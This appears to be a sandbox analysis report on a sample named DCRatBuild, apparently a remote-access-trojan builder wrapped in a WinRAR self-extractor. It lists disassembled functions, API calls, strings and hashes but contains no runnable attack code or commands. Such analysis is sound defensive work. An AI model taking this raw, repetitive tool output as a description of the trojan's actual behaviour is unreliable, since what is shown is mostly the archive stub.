Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: 9ea39dc6cc0b23ae7f9272dd8713997c4f257effd2b55ab99e81c7ae63490313
Instruction ID: 8f6cc701593e75b87baed27ef9b47671a97b5fe3a3e4d041d535ab5dc37cfd70
Opcode Fuzzy Hash: 9ea39dc6cc0b23ae7f9272dd8713997c4f257effd2b55ab99e81c7ae63490313
Instruction Fuzzy Hash: 0031E475600302AFE710BF21DC48D2BBBB9FF85760B00052AF945D2661EB31DC41DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0087A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6C4

Part of subcall function 0087BB03: _wcslen.LIBCMT ref: 0087BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0087A592,000000FF,?,?), ref: 0087A728
GetLastError.KERNEL32(?,?,?,?,0087A592,000000FF,?,?), ref: 0087A734

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 0fc6db50f3de3f179076c1a3e7f6f42804df9d56195d32dfc7e9a938cafac00f
Instruction ID: ed38c97081858a691ff764ae11a2db5d692ec69c71669a1f547254fa3f0d35ca
Opcode Fuzzy Hash: 0fc6db50f3de3f179076c1a3e7f6f42804df9d56195d32dfc7e9a938cafac00f
Instruction Fuzzy Hash: 0B416272900519ABCB29DF68CC88AEEB7B8FB89350F144196F55DE3240D734AE94CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00897DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00897DC4,00000000,008AC300,0000000C,00897F1B,00000000,00000002,00000000), ref: 00897E0F
TerminateProcess.KERNEL32(00000000,?,00897DC4,00000000,008AC300,0000000C,00897F1B,00000000,00000002,00000000), ref: 00897E16
ExitProcess.KERNEL32 ref: 00897E28

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1c95f02e99370dee0fa129a5f522b0a910fe834b227c6e4896e496017a822a75
Instruction ID: f073bc4111b72b434f834507802e08fe9178e46c8e6ed9b60c61eb969353da1d
Opcode Fuzzy Hash: 1c95f02e99370dee0fa129a5f522b0a910fe834b227c6e4896e496017a822a75
Instruction Fuzzy Hash: 2EE04631110948AFDF02BF24DD4AA4A3F6AFF11741F084454F809CA532CB36DE52CA80

Uniqueness

Uniqueness Score: -1.00%

Function 0087848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00878493

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 10e5bc73b6afd8727b5fb7c03d7042e3e08b75d055ee32d26a67aff72dd9744f
Instruction ID: d5a4669d35ea30c3d6c5f8a467d3b59dd29c5f315f6fad139941cb0b125adb53
Opcode Fuzzy Hash: 10e5bc73b6afd8727b5fb7c03d7042e3e08b75d055ee32d26a67aff72dd9744f
Instruction Fuzzy Hash: AD82E770944145EEDF25DB64C899BFABBA9FF05300F0881B9E84DDB14ADB31DA84CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0088B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0088B7E5

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0088B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088B8EF
IsDialogMessageW.USER32(?,?), ref: 0088B902
TranslateMessage.USER32(?), ref: 0088B910
DispatchMessageW.USER32(?), ref: 0088B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0088B93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 0088B960
GetDlgItem.USER32(?,00000068), ref: 0088B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0088B99E
SendMessageW.USER32(00000000,000000C2,00000000,008A35F4), ref: 0088B9B1

Part of subcall function 0088D453: _wcslen.LIBCMT ref: 0088D47D

SetFocus.USER32(00000000), ref: 0088B9B8
_swprintf.LIBCMT ref: 0088BA24

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

Part of subcall function 0088D4D4: GetDlgItem.USER32(00000068,008CFCB8), ref: 0088D4E8
Part of subcall function 0088D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0088AF07,00000001,?,?,0088B7B9,008A506C,008CFCB8,008CFCB8,00001000,00000000,00000000), ref: 0088D510
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0088D51B
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000C2,00000000,008A35F4), ref: 0088D529
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0088D53F
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0088D559
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0088D59D
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0088D5AB
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0088D5BA
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0088D5E1
Part of subcall function 0088D4D4: SendMessageW.USER32(00000000,000000C2,00000000,008A43F4), ref: 0088D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0088BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0088BA90
GetTickCount.KERNEL32 ref: 0088BAAE
_swprintf.LIBCMT ref: 0088BAC2
GetLastError.KERNEL32(?,00000011), ref: 0088BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0088BB43
_swprintf.LIBCMT ref: 0088BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 0088BBD0
GetCommandLineW.KERNEL32 ref: 0088BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 0088BC47
ShellExecuteExW.SHELL32(0000003C), ref: 0088BC6F
Sleep.KERNEL32(00000064), ref: 0088BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 0088BCE2
CloseHandle.KERNEL32(00000000), ref: 0088BCEB
_swprintf.LIBCMT ref: 0088BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0088BD7D
SetDlgItemTextW.USER32(?,00000065,008A35F4), ref: 0088BD94
GetDlgItem.USER32(?,00000065), ref: 0088BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0088BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0088BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0088BE68
_wcslen.LIBCMT ref: 0088BEBE
_swprintf.LIBCMT ref: 0088BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0088BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0088BF4C
GetDlgItem.USER32(?,00000068), ref: 0088BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0088BF6B
GetDlgItem.USER32(?,00000066), ref: 0088BF85
SetWindowTextW.USER32(00000000,008BA472), ref: 0088BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0088C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0088C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0088C0BD
EnableWindow.USER32(00000000,00000000), ref: 0088C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0088C1D9

Part of subcall function 0088C73F: __EH_prolog.LIBCMT ref: 0088C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0088C1FD

Strings

LICENSEDLG, xrefs: 0088C0B2
C:\Users\user\AppData\Local\Temp, xrefs: 0088BBC9
"%s"%s, xrefs: 0088BD0D
STARTDLG, xrefs: 0088B801
winrarsfxmappingfile.tmp, xrefs: 0088BBA6
__tmp_rar_sfx_access_check_%u, xrefs: 0088BAB5
@, xrefs: 0088BB91
%s, xrefs: 0088BED8
<, xrefs: 0088BB84
-el -s2 "-d%s" "-sp%s", xrefs: 0088BB6B

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Local\Temp$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-4182265032
Opcode ID: ab96af30a4a19cad134829d079752c572c29fcef8a6001c7214937094bfd68e0
Instruction ID: 509c5de347b64c57190d3c01c47a7107a7635d52bfa0feeed8739786918270e2
Opcode Fuzzy Hash: ab96af30a4a19cad134829d079752c572c29fcef8a6001c7214937094bfd68e0
Instruction Fuzzy Hash: AA42D370944259BAEB21BBB89C4AFBE7B7CFB02700F044155F644E61D2CB759E44CB26

Uniqueness

Uniqueness Score: -1.00%

Function 00880863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 0088087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0088088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 008808BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00880B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00880B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00880B93
ReadFile.KERNEL32(00000000,?,00007FFE,008A3C7C,00000000), ref: 00880BB1
CloseHandle.KERNEL32(00000000), ref: 00880C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00880C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,008A3C7C,?,00000000,?,00000800), ref: 00880C72
GetFileAttributesW.KERNELBASE(?,?,008A3C7C,00000800,?,00000000,?,00000800), ref: 00880C9C
GetFileAttributesW.KERNEL32(?,?,008A3D44,00000800), ref: 00880CD8

Part of subcall function 0088081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00880836
Part of subcall function 0088081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0087F2D8,Crypt32.dll,00000000,0087F35C,?,?,0087F33E,?,?,?), ref: 00880858

_swprintf.LIBCMT ref: 00880D4A
_swprintf.LIBCMT ref: 00880D96

Part of subcall function 00874092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008740A5

AllocConsole.KERNEL32 ref: 00880D9E
GetCurrentProcessId.KERNEL32 ref: 00880DA8
AttachConsole.KERNEL32(00000000), ref: 00880DAF
_wcslen.LIBCMT ref: 00880DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00880DD5
WriteConsoleW.KERNEL32(00000000), ref: 00880DDC
Sleep.KERNEL32(00002710), ref: 00880DE7
FreeConsole.KERNEL32 ref: 00880DED
ExitProcess.KERNEL32 ref: 00880DF5

Strings

uxtheme.dll, xrefs: 00880D17
SetDllDirectoryW, xrefs: 00880888
dwmapi.dll, xrefs: 00880927, 00880D0D
kernel32, xrefs: 00880873
SetDefaultDllDirectories, xrefs: 008808B9
DXGIDebug.dll, xrefs: 008808FC, 00880C5E
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00880D84

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: a578c93838661a7f26e875ccb4896c3abae866ba2a1ef70510362149018f9b10
Instruction ID: 1ae19f3de4edeed235f244434f67b1b9478e4ab2662839c6b60d66a4ca90792c
Opcode Fuzzy Hash: a578c93838661a7f26e875ccb4896c3abae866ba2a1ef70510362149018f9b10
Instruction Fuzzy Hash: 9CD163B1008784AFE761AF94C849B9FBAE8FB86704F50491DF289D6650DBB4864CCF52

Uniqueness

Uniqueness Score: -1.00%

Function 0088C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0088C744

Part of subcall function 0088B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0088B3FB

_wcslen.LIBCMT ref: 0088CA0A
_wcslen.LIBCMT ref: 0088CA13
SetWindowTextW.USER32(?,?), ref: 0088CA71
_wcslen.LIBCMT ref: 0088CAB3
_wcsrchr.LIBVCRUNTIME ref: 0088CBFB
GetDlgItem.USER32(?,00000066), ref: 0088CC36
SetWindowTextW.USER32(00000000,?), ref: 0088CC46
SendMessageW.USER32(00000000,00000143,00000000,008BA472), ref: 0088CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0088CC7F

Strings

ProgramFilesDir, xrefs: 0088CB45
<br>, xrefs: 0088C9D4
%s.%d.tmp, xrefs: 0088C940
Software\Microsoft\Windows\CurrentVersion, xrefs: 0088CB1A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: eebbe035a5b780de9b962e4488d66a28862b08795cda7e0dd7734c03745dc182
Instruction ID: d21e8a8c610eff1135a51d8b73905ecc015aa98d2e334b33ec6d6a4cdc685fac
Opcode Fuzzy Hash: eebbe035a5b780de9b962e4488d66a28862b08795cda7e0dd7734c03745dc182
Instruction Fuzzy Hash: 4EE152B2900219AADF25EBA4DC85EEE77BCFB05310F4441A6F609E3145EB749F848B61

Uniqueness

Uniqueness Score: -1.00%

Function 0087DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0087DA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0087DAAC

Part of subcall function 0087C29A: _wcslen.LIBCMT ref: 0087C2A2

Part of subcall function 008805DA: _wcslen.LIBCMT ref: 008805E0

Part of subcall function 00881B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0087BAE9,00000000,?,?,?,0003045E), ref: 00881BA0

_wcslen.LIBCMT ref: 0087DDE9
__fprintf_l.LIBCMT ref: 0087DF1C

Strings

*messages***, xrefs: 0087DBFA
R, xrefs: 0087DC0C
a, xrefs: 0087DC16
,, xrefs: 0087DF57
, xrefs: 0087DD6C
@%s:, xrefs: 0087DF06, 0087DF12
RTL, xrefs: 0087DEDE
$%s:, xrefs: 0087DEFF
*messages***, xrefs: 0087DBC1

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: d3f6c4d3fc9ba9c958d3e0852eb12fc0f71d3e7ce87fac8747cfaf8451fcdcbd
Instruction ID: 2f2e8f1c8e3b726e692f5d5eae6e75f71bf1758721e0408ba9d8ab6f67a7d866
Opcode Fuzzy Hash: d3f6c4d3fc9ba9c958d3e0852eb12fc0f71d3e7ce87fac8747cfaf8451fcdcbd
Instruction Fuzzy Hash: 6732F072900218ABDF25EF68C842AEE77B5FF19304F44815AF909E7285EBB1DD84CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0088D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0088B579
Part of subcall function 0088B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0088B58A
Part of subcall function 0088B568: IsDialogMessageW.USER32(0003045E,?), ref: 0088B59E
Part of subcall function 0088B568: TranslateMessage.USER32(?), ref: 0088B5AC
Part of subcall function 0088B568: DispatchMessageW.USER32(?), ref: 0088B5B6

GetDlgItem.USER32(00000068,008CFCB8), ref: 0088D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,0088AF07,00000001,?,?,0088B7B9,008A506C,008CFCB8,008CFCB8,00001000,00000000,00000000), ref: 0088D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0088D51B
SendMessageW.USER32(00000000,000000C2,00000000,008A35F4), ref: 0088D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0088D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0088D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0088D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0088D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0088D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0088D5E1
SendMessageW.USER32(00000000,000000C2,00000000,008A43F4), ref: 0088D5F0

Strings

\, xrefs: 0088D549

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 8378b224e46ea94a99be1e90886f3c56f5f80e8e0a273b9f08aef3860c6f4f3b
Instruction ID: 911009197fa8272ba943fad7195ddf2e53ff0aad564eb3ce7e37475d7283c327
Opcode Fuzzy Hash: 8378b224e46ea94a99be1e90886f3c56f5f80e8e0a273b9f08aef3860c6f4f3b
Instruction Fuzzy Hash: 2331AF71146742BBE301EF249C4AFAB7FACFB86704F00061AF551D6291DB659A04C77B

Uniqueness

Uniqueness Score: -1.00%

Function 0088D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 0088D7AE
ShellExecuteExW.SHELL32(?), ref: 0088D8DE
ShowWindow.USER32(?,00000000), ref: 0088D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 0088D959
CloseHandle.KERNEL32(?), ref: 0088D97F
ShowWindow.USER32(?,00000001), ref: 0088D9E1

Strings

.exe, xrefs: 0088D989
.inf, xrefs: 0088D89A

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: f0f3df0915f826a5b66e2596612a0613b336783a8837014f4e0e875d0244671f
Instruction ID: 3fd07cbe0a12a9940add08b44f208e7a459daee1fc59f6cc87c10c5718cfd8ad
Opcode Fuzzy Hash: f0f3df0915f826a5b66e2596612a0613b336783a8837014f4e0e875d0244671f
Instruction Fuzzy Hash: 3D51BF715043849AEB31BB649844BABBBE5FF86744F04482EF9C4D71D1E7B08D85CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0089A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00895695,00895695,?,?,?,0089ABAC,00000001,00000001,2DE85006), ref: 0089A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0089ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0089AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0089AB35
__freea.LIBCMT ref: 0089AB42

Part of subcall function 00898E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0089CA2C,00000000,?,00896CBE,?,00000008,?,008991E0,?,?,?), ref: 00898E38

__freea.LIBCMT ref: 0089AB4B
__freea.LIBCMT ref: 0089AB70

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
